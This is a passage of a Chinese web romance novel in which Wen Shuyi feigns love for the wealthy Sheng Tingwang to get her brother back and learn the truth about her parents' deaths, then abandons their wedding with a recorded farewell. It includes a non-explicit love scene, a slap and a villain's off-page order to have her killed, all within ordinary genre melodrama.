睫毛,鼻尖,最后落到粉嫩的唇上。 她双手抵在他的胸口,仰着小脸,承受着这本不该发生的事情。 他丢掉手杖,将她抱起。 一边吻着,一边向卧室走去。 他将她压在床上,指尖摩挲着她的小脸,更深地吻她,纠缠。 大手握在她的纤瘦的腰上。 安静的空间里,暧昧肆无忌惮。 温疏亦修长的脖颈弯出一道优美的弧度,指尖紧紧地抓起碎花的床单,承受着他…… …… 情事过后。 她靠在他的胸口,指尖滑过胸肌和层次分明的腹肌。 上面的伤口深浅不一。 是过往,更是勋章。 “你弟弟的事情,我尽快解决,好吗?” 温疏亦嗯了一声,“好。” “至于你的父母当年的事情,这个有点复杂,但你放心,我一定会帮你找出真相的。” “好。” 他拥紧了她。 挺抱歉的。 他把乔深找到后,发现他根本不健康。 除了身上的残疾,人的智力方面也有问题。 盛珽妄怕温疏亦受刺激,本想着把乔深医治得差多的时候,再交还给温疏亦。 但是三年了,一点进展也没有。 “盛珽妄,我现在是不是小三了?”她苦笑着问他。 “不是。” “分明就是。” 她推开他,披了件睡衣,去洗手间洗澡。 他紧追了过去,“一起。” “这里这么小,两个人怎么洗,你先出去。”她推他。 他没动,将她抱了起来,“我抱着你洗。” 盛珽妄挺有劲的。 温疏亦这不足百斤的体重,根本就反抗不了任何。 他将她抱到淋浴头下,大手抵在墙上,与她接吻。 温疏亦感受到他身体变化。 她不想做。 悄悄地将手伸到背后,故意调低了水温。 他感受到了温度的变化。 将她紧紧地贴在自己的怀里,迅速拿了浴巾将她裹住,“冷着了吧?” “有点。”她满是水珠的睫毛,轻轻地眨了两下,娇着声音,“你冷不冷?这个老房子就是这样的,电器都老化了,阿嚏。” 盛珽妄心疼坏了。 将温疏亦抱到床上后,找了吹风机给她把头发吹干,就穿了衣服出门。 十几分钟。 他又回来了。 手上多了个楼下药店的袋子。 和楼下超市买的生姜和红糖。 “来,先把药吃了,我去给你熬些发汗的汤,你一会儿喝。”他像叮嘱小朋友。 转身去了厨房。 温疏亦一时有一些恍惚。 他……在此时,更像一个恋人。 不,准确地说,更像一个丈夫。 是不是,他和许初音在一起的时候,就是这副样子? 温疏亦笑了。 女人是感知细微的动物。 为什么有那么多的女人,会在网上问,他很穷,但他对我特别好,我能嫁吗?这样的话。 女人一旦被感动了,很容易失去理智,恨不得掏心掏肺。 而聪明的男人,通常对这些,了如指掌。 盛珽妄端着盛满热汤的碗走过来,“来,趁热喝,喝完就蒙在被子里发发汗,汗出来了,就不容易伤寒。” “太热了,一会儿再喝。”温疏亦拒绝。 盛珽妄索性直接用汤匙喂,“来,张嘴。” 一碗热汤,就这么被喂进了肚子里。 他给她盖好了被子,“发完汗再换床被子就好了。” “你呢?你要不要也发发汗?”他身上淋到的冷水,比她的多。 盛珽妄笑笑,“我身强体壮的,不会生病的。” “你身上那么多的伤,怎么就身强体壮了?吹牛。”温疏亦撇嘴。 他笑得很宠溺。 牙齿整齐,眼睛弯着。 温疏亦被迷住了,脸红地翻过身不再看他。 盛珽妄这个人,除了在床事上有点野外,平时说话还是挺有风度的。 也许城府过于深沉的人,都是这样的。 床上,床下,两副面孔。 假正经。 温疏亦睡着了。 盛珽妄一遍一遍地给她测体温。 确定不会再发起烧来,这才搂着她睡了。 早上。 许初音给盛珽妄打来电话,问他怎么没去公司。 他懒洋洋的,拿着手机,去客厅接,“找我有事?” “我听张纶说,你买了江阳大道的房子?你是准备在华城定居,不回去了吗?”许初音质问。 盛珽妄淡淡地回,“是。” “我还听说,你下了调令,要把温疏亦调到你身边工作?” “没错。” 许初音一下炸了,“你到底是什么意思?想一脚把我踹开?” “没人这样说。”盛珽妄抽了根烟,递到唇上吸着,“我答应许叔的事情,我会做到。” “那就去领证,我们成为名副其实的夫妻,好吗?”许初音软了态度,“珽妄,你知道我爸想看到我们在一起,你既然答应他,要照顾好我,就不可以去爱别的女人,否则就是背叛。” 盛珽妄不说话了。 许久,他才吸了口烟,“诺言,有很多种执行的办法,初音,你很好,但我无法跟你成为夫妻。” “你……” 有温疏亦在。 他当然不会爱她。 等温疏亦伤了他的心,她就看看,他还会不会爱这个女人,爱得死去活来。 盛珽妄打完电话回来时。 温疏亦正在洗手间里,刷牙。 他从身后握着她的腰,一下下地亲吻她的脖子,“还难受吗?” “别闹。”她刷好牙,转过身来,男人就吻上了她的唇。 他吻得有一点猛。 像要把她吞进腹中的占有,令她招架不住,生怕他再上头,这个时间,再不去公司,马上就要迟到了。 “盛……珽妄,你老实一点。” 温疏亦费了好大的劲,才推开这个男人。 她整理头发的时候,他的手也没有闲着,“下班后,我带你去个地方。” “去哪儿?”她问。 “一个你喜欢的地方。” 温疏亦自己都不知道,喜欢什么地方。 他倒是先知道了。 她没往心里去,哦了一声,“你今天不去公司吗?” “我在家里等你回来。” 温疏亦:…… “那行吧,我先去上班了。” …… 温疏亦到达公司后。 就被许初音叫了去。 没说话,先给了她一个巴掌,“昨天晚上,你们睡了?” 温疏亦蹙眉。 看样子,许初音像是玩不起。 既然玩不起,当初为什么要强迫她做这件事情。 “如果你觉得你受不了这些,我们之间的约定,随时可以结束,你把弟弟还给我,我现在就可以离开华城。” 许初音嫉妒地发疯,咬牙切齿的,“我说过,让他爱上你,没说让你们上床,温疏亦,你也是够贱的。” 温疏亦快被气笑了。 大家都不是孩子。 成年人之间的游戏,难道像小学生上课一样的吗? “不上床,你让他怎么爱上我?看来许小姐还是想得太单纯了,不如,就结束吧。”反正,她也不是很想跟盛珽妄上床。 第35章 抬手就打人的毛病,我真的很不喜欢 “你……”许初音不可能现在结束,“……加快速度,以你的本事,在短时间内,想让他爱得不能自拔,应该不是难事。” 温疏亦没觉得自己有这么大的本事。 至今,盛珽妄爱不爱她,她都看不透。 爱得不可自拔,太虚幻了。 “你又不让我跟他上床,我怎么让他爱得不能自拔?”刚刚这一巴掌,扇得还挺疼的,“不如,你来教教我?” “温疏亦,你……”许初音又高高扬起手。 被温疏亦狠狠攥住,眼神凶狠“……许主管,你抬手就打人的毛病,我真的很不喜欢。” 温疏亦是软。 但不任由着欺负。 大不了鱼死网破。 谁也不好过。 许初音被温疏亦的眼神震慑住了。 她收回要打人的手。 转身说道,“他的父亲在战场牺牲,本应该是一等功勋,但是因为当时的特殊情况,他的父亲成了无名英雄,盛珽妄一直耿耿于怀,如果你有能力让他父亲的事迹,变为公开,并成为大家学习的榜样,我想,那时的盛珽妄对你的感情,不再局限于肉体之欢,而是一种信赖和升华。” 温疏亦眸色渐暗。 许初音与盛珽妄一起长大。 不愧是了解他的人。 “那我应该去找谁?” “找一个叫宋江的人。但这个人挺固执的,我找过他几次,他连面都不见,如果你有本事,可以试试看。” 许初音端起桌上的咖啡,轻啜了一口,“出去吧。” 温疏亦一直咂么这个名字。 好熟悉啊。 她儿时的记忆里,好像出现过这个名字, 她得好好想想。 下午下班后。 温疏亦去超市买了菜和一些肉。 她平时挺节省的,钱都存起来,准备买房。 李江衍就在她单元门口。 温疏亦稍稍有一些错愕,“你怎么来了?” “我想跟你好好谈谈,我们的事情。”李江衍被分手后,很痛苦,跟父母也狠狠地吵了一架,“疏亦,讲真的,我还是不想放弃你。” 温疏亦心里不是滋味。 她何尝想过放弃。 但现实就这么摆在二人面前。 李江衍的父母不喜欢她,就算再勉强在一起,也不会有结果。 况且现在的她,根本不就适合再做谁的女朋友。 “江衍哥,我不想谈了,我们……,算是没有缘分吧,别再伤父母的心了,你条件很好,找个比我强几倍的,不成问题的。” “疏亦……”李江衍表情痛苦。 能让他动心的人不多。 温疏亦算一个。 “……疏亦,我不是要纠缠你,我只是想让你再好好的考虑一下,父母那边,我可以解决,实在不行,我可以搬出来住……” 温疏亦摇头。 大院的孩子,哪有搬出来住的。 那她可就真成了罪人了。 “江衍哥,别这样。” “疏亦……” 温疏亦还是摇头。 尽管有一些遗憾,但没有回头路可走的。 “江衍哥,没什么别的事情,我就回去了,刚下班挺饿的,我得回家做饭了。” 温疏亦用了一些轻松的语言,结束对话。 李江衍目送她离开。 心慢慢地碎开。 他想,他是爱上温疏亦了。 短短的相处,他需要用一生来修补,心上的裂痕,他如何能甘心。 …… 打开门。 温疏亦拎着菜往厨房里走。 盛珽妄低沉暗哑的声音响起,“回来了。” 温疏亦一怔。 盛珽妄还在她家? “你怎么没走啊?” “不是说了,要等你下班回来。”他双腿交叠,姿态慵懒地看向她,“怎么?跟李江衍聊天,聊忘了?” 温疏亦:…… “你怎么还偷窥别人啊。”温疏亦将购买的菜和肉放进冰箱里。 盛珽妄笑笑,起身道,“走,带你去个地方。” “去哪儿?”她问。 “去了你就知道。” 他卖了个关子。 温疏亦被塞进了他的迈巴赫里。 车子在市中心的路上,拐了几个弯后,就拐进了江阳大道小区。 温疏亦一时错愕,“怎么来这儿了?” 他笑笑没说话。 温疏亦心里纳闷。 盛珽妄不会是听她说,她想在江阳大道买房子,他也在这儿买了吧? 这个小区因为处在市中心,价格比较贵。 她攒了三年的钱,也只是攒了个首付。 就盼着房价不要上涨。 好让她来年春天,顺利买上房子。 温疏亦和红圈的其它子弟不一样。 人家有父母支持,她总不能指望养父母来支援她。 春天的时候,她来这个小区看过房子。 都是精装交付,省很多心。 “你在这儿买的房子吗?”她问盛珽妄。 盛珽妄点头,“对。” “什么时候买的?” 他笑笑,回答,“昨天。” “还真是我说了以后,你就在这儿买房了?”温疏亦撇嘴,“你这种有钱人,不去住个好点的地方,这里怎么说,也配不上你这个身份的人吧。” “我哪种身份?”盛珽妄没很多要求。 如果不是温疏亦喜欢这儿的房,他住在自己父母的老房子里,一样舒心,“你对我误解很深。” “本来我也不了解你啊。” 车子在地下车位停好。 盛珽妄和温疏亦下了车。 电梯上行。 六层的电梯洋房的顶层。 上下两层。 加起来,差不多六百平的样子。 “这房子好大呀,四百平,够一大家子人住了吧?” 就算是她生长的温家,住的也是大院里的平房,连上院子回起来,也就这么大吧。 “楼上还有一层,有一个超大的露台,我带你上去看看。” 盛珽妄牵起温疏亦的手。 上了楼。 “好漂亮啊,这里还有游泳池哎,这简直是富人的天堂,盛珽妄,你其实还挺有眼光的,顶层很难买吧?” 盛珽妄点头,“确实,需要抢。” 温疏亦挺羡慕的。 她能在这个小区里,拥有一百平的房子,她这辈子就够足了。 不过…… 买房这事,应该不成了。 等完成许初音交代的事情,她就会带着弟弟离开华城,可能回滨城吧,毕竟那里是他们的故乡。 到时在小县城的买个房子,也花不了多少钱。 也挺好的。 “夜景很漂亮吧?”他说。 “是挺漂亮的。” “那这么漂亮的夜景,适合……” 他大手握住她的腰,往身一带,低头吻上她的唇。 他希望她能喜欢这个惊喜。 “干嘛?”温疏亦推开他。 他弯着眼睛,问她,“喜欢这个房子吗?” “喜欢啊,可惜买不起。”这辈子应该都买不起。 他凑进她的耳边,“喜欢就送给你。” 第36章 掏心掏肺的多血腥 她自当他开个玩笑。 婚姻中,任何一方送出的任何东西,配偶都有权力追回。 他知道的。 还说这些。 不过就是为了讨她片刻的欢心。 “那我就先谢谢你喽。”温疏亦没当真。 小区真漂亮。 她扶着栏杆,就那样出神地望着远方。 他拿出房产证,交到她手里,“我是说真的。” “什么?” 她低头看到房本,不否认,有错愕,更多觉得是这出戏演得太过于出格。 “盛珽妄,你……” “写了你的名字,单独所有,收下吧。” 温疏亦打开房本,看向上面的名字,是她的没错。 她觉得完全没有必要,但没有讲。 只是笑了笑,扮成很开心的样子,“谢谢。” “你喜欢就好。”他拥紧了她,憧憬着他们美好的未来,“疏亦,我就在你喜欢的房子里结婚好不好?” 结婚? 有那么一瞬间。 她恍神的厉害。 上次他说结婚的时候,她信以为真了。 这次……她垂眸,心口哂笑。 再当真,她可真是太傻了。 “然后呢?”她问。 “然后我们就生几个孩子,然后你来经营天景,我在家里看孩子,我们妇唱夫随,你说好不好?” 他说得跟真事似的。 温疏亦也只是随和地笑着。 “我可没那么大本事,经营那么大的集团。” “我会教你的。” 他想把自己交给她。 把他的天景集团交给她。 把所有都交给她。 他想让从小没有安全感的她,有依靠,有信赖。 他真的好想,马上就娶她。 可他不能。 除非许初音放弃执着,否则,他不可能在她时日无多的时候,再刺激她。 那样,对不起当年许父对他的恩情。 “疏亦,我们慢慢来好不好?”他对他和她的未来有很多的安排,“只要你信任我,只要你肯给我重新开始的机会,只要你可以爱我,我把心掏给你都愿意。” 她笑了,“掏心掏肺得多血腥啊了。” “我是说真的。” 他从未对你一个女人如此地着迷过。 是因为小时候那一眼吗? 当年滨城地震的时候。 温家和盛家都参与了救援。 当时年仅十岁的他,也偷偷地跑去了现场。 那是他第一次见到温疏亦。 雨很大,她抱着那只脏兮兮的小熊,无助哭泣的样子,至今还历历在目。 他跑过去给她撑伞。 她哭得更厉害了。 隐深的天色中,她那双漂亮的大眼睛,格外令人心疼。 他说,“跟我走吧,我带你去暖和的地方,你这样淋雨,会生病的。” 小姑娘摇头,哭的有些喘过不气,“爸爸,妈妈,我要爸爸妈妈,我要弟弟……” “会找到的,你跟哥哥走,哥哥带你找妈妈。” 他向她伸出手。 她抬头看他,好像在确认,他是好人还是坏人。 最终,她将小手递进了他的手里,“哥哥,你不会骗我的对吗?” “哥哥不骗人。” 可最后呢。 他没有帮她找到爸爸妈妈。 想到这些。 盛珽妄的心里不好受。 “怎么了?”她回头问他。 他深呼了一口气,“没什么。” 盛珽妄带温疏亦去吃个饭,算是庆祝买到了新房。 温疏亦没有兴致,“不了吧,我想先回去休息一下,今天挺累的。” “也好,你好好休息,这几天,我让人收拾一下,到时,我们直接搬过来。”他说。 温疏亦抬手搂上他的脖子,笑靥靥的,“你这是打算金屋藏娇了?” “不算。” “那算什么?” “算我们共同生活的开始。” 温疏亦笑了。 心里很苦。 “既然你送了这么一个大礼给我,我也有礼物要送给你。”她娇俏的卖了个关子,“不过,不是今天,可能是明天,也可能是后天,反正……很快的。” 他温柔地捧着她的小手,亲吻着她的唇,“好,我等着。” 这一晚。 他们极尽缠绵。 一个爱的投入,一个心不在焉。 几天后。 盛珽妄陪许初音出国检查身体。 温疏亦便借着这个机会,去见了那个叫宋江的人。 宋江看她面熟。 但实在是想不起来,“你是……” “宋叔,我是乔汐,乔天华是我的父亲。”温疏亦直言。 宋江恍然,眼眶立马泛红,“小汐长这么大了,快,快坐,怎么,突然找到我这儿了?是遇到什么难处了吧?没关系,有困难直接说,宋叔跟你爸的关系,不必拘谨。” 宋江和乔天华是大学同学。 同寝四年,感情自不必多说。 又同时进了一个单位,后来二人工作都太出色,分别调往了更重要的位置上。 当年乔天华去世。 哭得最凶的就是这个宋江。 温疏亦没有想到,他如此地念旧情,猜测着今天,她要说的事情有谱。 “宋叔,我想问一下陆师白的事情……” “陆师白?”当年的情况特殊,陆师白牺牲后,没有大张旗鼓地宣扬他的精神,至今都觉得对不起这位英雄,“你怎么知道陆师白的?” “我认识他的儿子。”温疏亦说。 宋江对陆家的情况比较了解。 他推了推鼻梁上的眼镜,“当年陆师白为了救盛战,英勇牺牲,后来盛战收养了他的儿子陆稷,改名叫盛珽妄当亲儿子养,这孩子挺出息的,跟他爸一样,战功赫赫,我们很欣慰啊。” 盛珽妄原来叫陆稷啊。 温疏亦好像对他又了解了一些。 “宋叔,既然当年陆师白是牺牲的,为什么当年对他连一个表彰都没有?” 宋江叹气,“当年情况特殊,所以……” 很多事情,和几天几夜都讲不完。 “那现在可不可以补一下,一个奖章,一份荣誉证书,一个正向的报道,对死者都是一个久违的交代,你说是吗?” 宋江觉得温疏亦说得有道理。 但这事,他一个人说了不算,“我可以先提交申请,现在上面对战斗英雄,格外看重,应该问题不大。” “真的吗?”温疏亦觉得有希望了,“那我就等您好消息了,谢谢你宋叔。” “这都有我应该做的。” 温疏亦有了好的反馈。 心里别提多高兴。 这种心里的愉悦不是因为要完成许初音交代的任务。 而是英雄应该被后人记起。 宋江又顺便跟她讲了,盛珽妄的亲生父亲的一些英勇事迹。 不过讲的最多的,还是盛珽妄的事情。 他在国外做特种兵时,遇到的种种奇遇和生死瞬间。 她好像对盛珽妄有了新的了解。 回家等了一周的时间。 宋江通知温疏亦,关于陆师白的奖章和荣誉证书,上面批下来了,让她去拿一下。 东西沉甸甸的。 她能想象得到盛珽妄,看到会有多激动。 拿了手机,她给盛珽妄了过去,“你回国了吗?” “还没有,估计还得过段时间,想我了?”他声音温柔,透着对她的想念。 她笑笑,“你回来,我有礼物送你。” 第37章 她能给的,我也能给 盛珽妄心情不错。 挂断电话,转身。 许初音走过来,脸色透出难看,“又是温疏亦吗?她到底哪里好,三年前不过就是睡过一次罢了,你为什么就是忘不了她?” “她至少……善良。” 盛珽妄话意深重。 许初音微愣。 “什么意思?” “你什么时候知道乔深在小渔村的?你那天把我的人全部用药迷倒后,你带他去了哪儿?” 盛珽妄的眼眸凛冽。 突然提及,令许初音有一些措手不及。 他逼问的语气,不带一点商量的余地,“我是不是说过,你不能插手我的事情?为什么明知故犯?” 许初音咽了咽,神色有一些紧张,“人,我不是又送回去了吗?你这是在怀疑什么?下次,我不做不就好了。” “许初音,我可以容忍你任性,也可以陪你好好治病,但如果你敢打温疏亦的主意,别怪我翻脸不认人。” 又是温疏亦。 许初音听到这个名字,就会情绪失控。 突然抓狂,“你是不是敢为了她,与全世界为敌?盛珽妄,在你心里,到底是我重要还是温疏亦重要?” “她。”他丝毫没有犹豫。 许初音很冷的扯了扯唇,“所以,我从十六岁就陪在你身边的情意,根本敌不过你睡了两三次的女人,是吗?” “不一样,你跟她比什么?” “哪里不一样了?哪里又不能比了?”许初音激动到失控,紧紧地攥着盛珽妄的领口,“我们不都是女人吗?她是很漂亮,我就很丑吗?你可以睡她,为什么不睡我?盛珽妄,你倒是睡我啊,你试试,我和她哪里不一样……” 许初音嘶吼。 她试图用旧情,唤回盛珽妄曾经对她的依赖。 她以为盛珽妄会跟她日久生情。 可他生出来的不是爱情。 她受不了了。 “珽妄。”许初音紧紧地抱住了盛珽妄,“别离开我行吗?温疏亦能给你的,我也能给你,好不好?” 他拿开她的手。 收起手机,“你好好休息,明天我们再找乔治医生,详细治疗方案。” “盛珽妄……” 许初音改变不了盛珽妄的心。 他陷进了与温疏亦的情感当中,还很深。 现在她只盼着,温疏亦快一些,再快一些的,把他打入无底深渊。 那样,她就能再次成为他的光。 但是,温疏亦……是不能留了。 …… 一个月后。 盛珽妄回国。 他安顿后许初音后,就去天景集团。 “温疏亦搬去江阳大道那边的新房了吗?”办公室里,盛珽妄风尘仆仆。 张纶,“温小姐她,还没有找我谈入住的事情,哦对了,您来之前,盛家派人来找过,说是盛家出事了,老爷子急着要见你。” “出什么事了?”盛珽妄眸色一深,“怎么没给我打电话?” “说是打不通。” 盛珽妄明白了,应该是许初音把他手机信号屏蔽了,“马上跟我去一趟盛家。” “是。” 盛家确实出事了。 盛宗杰被抓了。 当年滨城地震,他贪污了救灾款,又虚报了死亡人数和死因。 这次上头查得很仔细。 他身份特殊。 直接关了起来。 盛珽妄到时,温疏亦也在。 盛老爷子上火。 将盛珽妄叫到面前问,“这到底是怎么回事?有人说,是你找人举报的,有没有这回事?” 盛珽妄没说话。 淡淡地看了一旁的温疏亦一眼。 刚好,温疏亦抬眸看向他。 他收回视线,淡淡地否认了,“不是我。” “当年你也在地震的现场,如果不是你,那会是谁?珽妄,好歹我也把你抚养成人,你不能恩将仇报吧?” 盛老爷子痛心疾首。 盛珽妄一直感念着恩情,所以,即便他知道当年滨城地震发生的事情,这么多年来,也只是当个睁眼瞎。 至于谁举报的,他的确不清楚。 当年知道真相的人,可不止他一个。 “大哥他这次升迁,被很多人盯着,也许有人在背后举报,当年滨城地震中的眼睛很多,您是知道的。” 盛老爷子重重地拍着,黄花梨的椅子扶手。 他在红圈内的身份,举足轻重,到底是老了,敢有人对他的儿子下手了。 不知道是不是想到了什么。 盛老爷子的视线,缓慢的落到了温疏亦的面上。 “疏亦,这事,不会是你背后捣的鬼吧?当年你亲生父母的死,与我们盛家可没有关系,是你爸他……,你可别报复错了人。” 温疏亦淡得不能再淡的目光,回望向盛老爷子,“爷爷,与不与盛家有关,上面自会调查,我可没那么大本事,将盛伯伯送进去。” 盛老爷子气的脸色发黑。 叫盛珽妄去内厅说话。 温疏亦今天是过来,是凑巧遇到这件事情。 既然盛老爷子把这事怀疑到她头上。 是不是就说明,其实,从一开始盛家就知道,她的亲生父母,死的有蹊跷。 都瞒着她,看着她像个奴隶似的,伺候盛家人所有的人,他们一定心里爽翻了吧。 垃圾。 盛家一家子都是垃圾。 温疏亦气急了,抬脚就踢碎了放在墙边的花盆。 盛励刚好走过来。 被吓了一跳,“脾气这么大?谁惹你了?” “盛励,你是不是也知道,当年我父母的死,并不是因公殉职?你一直知道,他们是怎么死的是不是?” 盛励被问的一愣。 其实,这件事情,在盛家人心里,不算秘密。 但都知道,对温疏亦来说,是天大的事情,所以,没人跟她讲。 “这个……” 看到盛励犹豫。 温疏亦明白了。 他一直知道。 “你告诉我,我爸妈是不是被你爸害死的?”她狠狠地攥着盛励的脖领子,“你说啊,是不是被你爸害死的?他们怎么害死我爸妈的?为什么要害死我的爸妈,说,你说啊……” “疏亦,你冷静一点,其实,我也不是很清楚,要不,你去问盛珽妄吧,他当年在现场,他,他……可以给你还原真相。” 温疏亦猩红着眼睛,恨不得咬断盛励的脖子,“把我爸妈害死,还要让我给你当了两年的保姆,盛励,我诅咒你不得好死。” 温疏亦重重地推开了盛励。 踉跄的后退了两步,转身跑着离开。 盛珽妄出来时。 只看到盛励在那儿站着,像根棍。 “疏亦呢?” 盛励回头看了他一眼,“你挺厉害啊盛珽妄,可以让温疏亦跟李江衍分手,死心塌地再跟你在一起,你不把她当人看,她自己也不把自己当人看,你们还真是登对。” “我们之间的关系,还需要向你报备?”盛珽妄脸色黑沉。 盛励轻笑,“你都结婚了这是事实不是吗?难不成还能跟许初音离了,娶她当老婆?盛珽妄,爱一个最高的境界,就是让法律承认,要我说,你这个男的,够差劲的。” “你有什么资格说我?”盛珽妄不愿意跟盛励计较,有失身份,“把路让开。” 第38章 我没有人可以依靠 盛励看不惯盛珽妄,这副唯我独尊的模样。 但又不得不屈服于他的威严之下。 看着盛珽妄离开的背影,他将墙边的另一个花盆也踢碎了。 …… 盛珽妄找到温疏亦时。 她正躲在一个角落里哭。 他很抱歉。 有很多事情,没来得及告诉她,“疏亦。” “其实你一直知道我父母死亡的真正原因,对吗?你也并没有打算告诉我,是不是?盛珽妄,我还以为,你是个诚实的人,没想到,你为了盛家,也一直在隐瞒。” 盛珽妄无言以对。 他确实是这样的。 “对不起。” “别跟我说对不起。”温疏亦擦了把眼角的泪痕,红着眼问他,“请你告诉我,我父母到底是不是被盛家人和温家一起害死的?我要知道真相。” “疏亦,知道真相,对你来说,很残酷。”他不希望,她的余生,活在惊恐和仇恨当中,“我答应你,我会帮你将那些害死你父母的人,绳之以法,好吗?” 温疏亦笑了。 盛珽妄并没有打算告诉她真相。 或许,他一扭头,就会找人把盛宗杰捞出来。 她不该对他抱有希望的。 她真该死。 不应该问这些。 这个世界上,根本没有人可以帮她。 还是天真了。 尽管对盛珽妄已经彻底失望,但她还是违心地挤了抹笑,“盛珽妄,我除了相信你,没有选择了是吗?” 盛珽妄心疼地抱住了她。 “疏亦,有我在,一切交给我好吗?” 温疏亦的小脸,紧紧地贴在盛珽妄的心口上,“从小到大,我都是一个人,我没有人可以依靠……” “以后,我就是你的依靠。” 紧紧依偎的面具下,是温疏亦冷若冰霜的绝望。 回到家后。 盛珽妄给温疏亦熬了粥。 他往粥里放了一些白糖,“吃点甜的,心里就不会那么难受。” “我没事,情绪一上头,就是容易失控。”她小口小口地抿着粥,突然下了汤匙,“哦,对了,我有礼物要送给你。” 她欲起身。 被他扣住手腕拽下,“先喝粥,喝完再拿,不急。” “不,这个礼物很特殊,我得马上送给你。” 温疏亦回了房,将礼物拿了出来。 一个盛放着军功章的红色木质盒子。 一枚鲜红的荣誉奖章。 盛珽妄不用打开,就知道里面是什么。 他立马想到了一些事情,“这里面是我父亲的……” 温疏亦认真地点头。 “我去找了宋江,他给申请的,说是上面对以前的英雄特别重视,给补发的,还有奖金呢,但因为我不是直系亲属,需要提供你的银行卡号,就先没有领,有时间,你去办理一下。” 盛珽妄承认自己小看了温疏亦。 他激动坏了,一把把温疏亦搂进怀里。 眼眶泛红,“谢谢你疏亦,真的,我其实已经放弃了。” “你开心吗?” “开心,很开心,我没有想到,你会为我做这件事情。”他捧着她的小脸,狠狠重重地吻她的唇,“我想,我父亲在地下,一定会收到这迟来安慰的。” 温疏亦的目的达到了。 许初音说得没错,盛珽妄在意这件事情,所以他有很强烈的回应。 在战场上杀人不眨眼的男人,在触碰到家人这根弦时,他的心柔软了。 你看。 人都是有软肋的。 只不过,他的软肋不会是温疏亦。 温疏亦的,也不是他。 “好了,赶紧收起来吧,等你父亲忌日的时候,你就拿给他看,他会高兴的。” 盛珽妄点头,“父亲忌日的时候,你陪我一起去,好不好?” “好。”她答应了。 违心的。 …… 和盛珽妄相处的日子,无非就三件事。 上班,吃饭,睡觉。 盛珽妄把温疏亦调到自己的身边,手把手地教她如何管理一家上市公司。 温疏亦很聪明。 学得很快。 他们之间的感情升温很快,搬进了江阳大道的房子,过的如同平常夫妻一样的生活。 如胶似漆。 白天工作,晚上上床。 盛珽妄会送她很多值钱的礼物。 对她的爱和依赖,日渐加深。 他不停地提出,要跟温疏亦领结婚证的事情。 终于有一天。 她同意了。 “挑个好日子吧。”她说。 盛珽妄欢喜,“好,我找大师合一下,挑一个独一无二,又百年好合的日子。” “好。”温疏亦同意了, 但没多少感觉。 日子敲定后,她以结婚前,房子需要收拾为由,重新搬回了自己的出租屋。 那本房产证,她也放进了床边柜的抽屉里。 离开那天,他抱着她,依依不舍,“其实,在这儿住着,不耽搁收拾的,要不,别回去住了。” “有人在,我总是会心神不安的,不差这几天。”她温柔地靠在他的怀里,“领证后,我们就是夫妻了,你有什么打算没有?” “我们打算多生几个宝宝好不好?” 温疏亦眼底掠过一抹悲凉,孩子? 她不知道,以后还能不能生孩子。 “好呀,多生几个。” 搬回出租房后。 她除了在公司里和盛珽妄见面后。 私下见面很少。 他没勉强,都依着她。 温疏亦开始收拾行李,写辞职信,跟房东退租,然后定了去滨城的机票。 终于等到了要离开的这天。 谈不上是解脱还是什么。 更像一种释怀。 对过去的释怀,对盛珽妄的释怀,对一切糟糕的释怀。 “什么时候,把乔深带来?”温疏亦给许初音打了个电话。 许初音终于盼到了这天,“确定要离开了吗?” “明天的飞机。”她淡淡。 许初音松了口气,“我现在就去接乔深,但是盛珽妄的人看得很紧,我需要一些时间,不过你放心,盛珽妄现在得意忘形,满脑子想的都是要跟你结婚的事情,哪里还顾得上乔深,晚上,我会把乔深带过来,你马上离开华城,以后永远不要再回来。” 温疏亦眼眸黯淡。 华城根本就不是她的家。 这里没有爱她的人。 这里盛满了谎言。 她是要离开的,这一离开或许就是一辈子。 “当然,你放心。” 至于许初音用了什么办法,温疏亦不知道,她真的见到了乔深。 乔深还是如温疏亦第一次见他时那样,眼神呆滞,听不见也说不清,也不能跑不能跳地。 那又怎样呢。 他是她在这个世上,唯一的亲人了。 “人,我已经交给你了,温疏亦,答应我的事情,你可得做到,如果再回华城……” “我不会再回华城。”温疏亦推起乔深的轮椅,“我们走吧。” 许初音亲自送温疏亦去了机场,看她登机,看着飞机起飞,就像了结了一块心病。 她慢条斯理地,拿起手机,拨去了电话,“马上派人去滨城,我不管你们用什么样的手段,我要她消失,明白?” 第39章 钻戒砸向电视屏幕 挂断手机。 她阴鸷地看向夜空,“温疏亦,你以为你走了,盛珽妄就会忘了你吗?不会的,他还会找你,满世界的找你,只有你死了,他才会彻底忘记你。” 翌日。 盛珽妄准时出现在民政局的大门口。 他今天收拾得很清爽。 特意穿了一件白色的衬衣。 张纶说,领证都是白衬衣,拍照片好看。 他做梦都想和温疏亦拍一张很漂亮的证件照。 三年了,他终于要圆梦了。 抬腕看了眼时间。 温疏亦应该到了,怎么还没有看人影。 电话打过去,关机了。 他敏锐地察觉到了事情可能出现了意外。 再打。 还是关机。 他一刻也没停地,上了车,“去温疏亦住的地方。” “三爷,怎么了?温小姐她,是不是出事了?” 盛珽妄不知道,是不是人出事了。 他有一种不祥的预感。 心脏跳的他,像是要失去什么。 张纶的车子开得很快。 盛珽妄下车时,平时走路铿锵有力的双腿,软了一下。 张纶急忙扶好他,“三爷,您小心一点。” 推开温疏亦出租房的门。 他听到了厨房里有窸窣的声音。 他慌乱的心,稍稍平和,“疏亦,是你吗?你在家的对不对?” 很快,厨房里走出了一个人。 年近五十的中年妇人,“你谁啊?找温疏亦吗?她已经退租了。” “她人呢?去哪儿了?” 房东拿着抹布,擦置物架,“人去了哪儿,我怎么知道,不过这小姑娘挺能吃苦的,可能是去别的城市打工去了吧。” 别的城市? 哪个城市? “大婶,她真的没有告诉你,她去哪儿了吗?” 房东似是想起了什么,从口袋里摸出一个U盘,“哦对了,这是温疏亦交给我的一个U盘,她说是,交给一个姓盛的,叫盛什么妄……是不是你呀?” 盛珽妄忙不迭地点头。 伸过去的指尖都在颤,“是,是我。” 房东将U盘塞过去。 然后准备离开,“她说了,让你插到电视上看,我就不跟你一起看了,你走的时候,记得把门给我锁好。” 房东走了。 房间里空空荡荡的。 连温疏亦的气息都没有了。 盛珽妄屏住呼吸,将U盘插到电视后面,开了机。 很快屏幕亮起。 上面是温疏亦的脸。 “你来了盛珽妄,不过很抱歉,我不能跟你去领证结婚。” 屏幕上的女人,脸上是淡而温和的笑意,“想知道为什么,我不能跟你去结婚吗?因为你不配。” “你手握着我父母死亡的真相,却从未打算告诉我,你把我的弟弟藏起来,不让我们见面,却美其名曰,说是为了我好,你真的挺让我恶心的。” “其实,我的内心一直没有原谅你,可能你会问,为什么不原谅你,还要跟你重新开始?演的,盛珽妄,我都演的,我就是要让你对我动情,爱上我,依赖我后,再狠狠地把你抛弃,” 